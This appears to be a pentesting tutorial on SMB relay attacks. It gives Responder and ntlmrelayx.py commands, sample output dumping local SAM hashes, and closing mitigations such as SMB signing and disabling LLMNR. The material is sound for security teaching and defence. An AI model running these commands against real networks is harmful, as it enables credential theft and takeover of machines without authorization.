SMB Relay Attack

Alright, so you’ve mastered LLMNR & NBT-NS poisoning and you’re swimming in NTLMv2 hashes. Cracking them is fun, but what if the user has a 25-character password generated by a password manager? You could spend the rest of the engagement turning your GPU into a space heater, or… you could just skip the cracking part entirely.

Welcome to the SMB Relay Attack, the devastatingly effective big brother of simple hash capturing. Instead of stealing someone’s password hash to crack later, we’re going to catch their login attempt mid-flight and use it—live—to break into other machines.

Think of it this way: LLMNR poisoning is like stealing someone’s house key to make a copy later. An SMB Relay is like grabbing the key out of their hand as they’re unlocking the door and letting yourself in right behind them. It’s brazen, efficient, and wonderfully evil.

The Prerequisite: A Cry for Help

This attack doesn’t happen in a vacuum. It needs a trigger, and that trigger is the exact same one we used before: a user trying to connect to a non-existent resource. Our old friends LLMNR and NBT-NS poisoning are the perfect delivery mechanism. A user mistypes \\fileservr, their machine shouts into the void, and we, the attacker, are there to answer the call.

But this time, we’re not just going to grab the hash. We’re going to play matchmaker.

The Anatomy of the Heist 💰

The SMB Relay attack is a classic Man-in-the-Middle (MitM) scheme. Our tools will sit between a victim trying to log in and a target server we want to own.

The Lure: A user on PC-A tries to connect to a resource we are impersonating (e.g., via LLMNR poisoning). Their PC says, “Hello, I’m Bob from the CORP domain, I’d like to authenticate.”
The Interception: Our relay tool, sitting on our attacker machine, catches this inbound authentication request. It essentially tells the victim’s PC, “Hold on one second, let me get the door for you.”
The Relay: The tool immediately turns around and uses Bob’s authentication attempt to connect to a different, legitimate machine on the network—let’s call it TARGET-SERVER. It says to TARGET-SERVER, “Hello, I’m Bob from the CORP domain, I’d like to authenticate.”
The Challenge: TARGET-SERVER (the machine we want to own) has no reason to be suspicious. It sends back an NTLM authentication challenge, as it normally would.
Passing the Note: Our relay tool passes this challenge back to Bob’s original PC (PC-A). Bob’s machine, thinking it’s talking to the original share, happily solves the challenge with Bob’s credentials and sends the response back.
The Pwnage: Our tool forwards this final, valid response to TARGET-SERVER. If Bob has administrative rights on TARGET-SERVER, the server accepts the authentication. Our tool now has an authenticated session on TARGET-SERVER as Bob.

From here, the world is our oyster. The most common next step is to instruct the target server to dump its entire local SAM database—giving us the password hashes for every local user on that machine, including the local administrator.

Let’s Get Practical: `ntlmrelayx.py`

The king of relaying tools is ntlmrelayx.py from the Impacket suite. To make this work, we need to tell our old friend Responder to step aside and let ntlmrelayx handle the authentication.

Step 1: Configure Responder

First, we need to disable Responder’s built-in SMB and HTTP servers so they don’t interfere with our relay tool. We do this by editing Responder’s configuration file.

sudo nano /etc/responder/Responder.conf

Find these lines and set them to Off:

SMB = Off
HTTP = Off

Save the file. Now, run Responder. It will still perform the poisoning, but it won’t handle the login attempts itself.

sudo responder -I eth0 -v

Step 2: Create a Target List

Find some interesting machines on the network to relay to. File servers, management servers, or even other workstations are good candidates. Save their IP addresses in a file called targets.txt, one IP per line.

Step 3: Unleash `ntlmrelayx.py`

Now for the main event. Open a new terminal and run ntlmrelayx.py.

sudo ntlmrelayx.py -tf targets.txt -smb2support

-tf targets.txt: Specifies the file containing our list of target IPs to relay to.
-smb2support: Enables support for the modern SMBv2 protocol, which is essential on any up-to-date network.

Now, sit back and watch both terminals. When a user makes a typo, you’ll see Responder poison the request. Then, in your ntlmrelayx window, the magic happens:

[*] SMBv2 Relay -- Target: 192.168.1.50
[*] Authenticating against 192.168.1.50 as CORP\BJohnson...
[*] Service RemoteRegistry is running
[*] Authenticating against 192.168.1.50 as CORP\BJohnson SUCCEEDED!
[*] Starting smbserver to host dumped SAM
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: 192.168.1.50

Just like that, you have the local administrator hash for 192.168.1.50 without ever knowing BJohnson’s password. If BJohnson was a Domain Admin, you could have used -c "whoami" to execute commands or even used other Impacket tools to get an interactive shell.

Fortification: How to Stop the Relay 🛡️

This attack is incredibly powerful, but it relies on a specific weakness that can be fixed.

ENABLE SMB SIGNING (This is the #1 fix!): SMB signing is a feature that creates a digital signature for every SMB packet. When it’s enabled on a client and server, the server can verify that the packets are coming directly from the client and haven’t been tampered with by a “man in the middle.” This directly kills the relay attack. It can be enabled via Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
- Microsoft network client: Digitally sign communications (always) -> Enabled
- Microsoft network server: Digitally sign communications (always) -> Enabled
Disable LLMNR and NBT-NS: Cut the attack off at the source. If the attacker can’t poison name resolution requests, it’s much harder to get a victim to send credentials to them in the first place.
Enforce Least Privilege: A Domain Admin should not be logging into their workstation with their DA account to browse the internet or check email. High-privilege accounts should only be used on hardened machines (like Domain Controllers) for administrative tasks. If the BJohnson account in our example wasn’t an admin on TARGET-SERVER, the relay would have failed.
Network Segmentation: As always, proper network segmentation prevents a user on a less secure network segment from being used as a pawn to attack servers in a more secure segment.

The SMB Relay is a cornerstone of internal network penetration testing. It’s a testament to how old protocols and misconfigurations can be chained together to completely bypass modern password complexity and go straight for the win.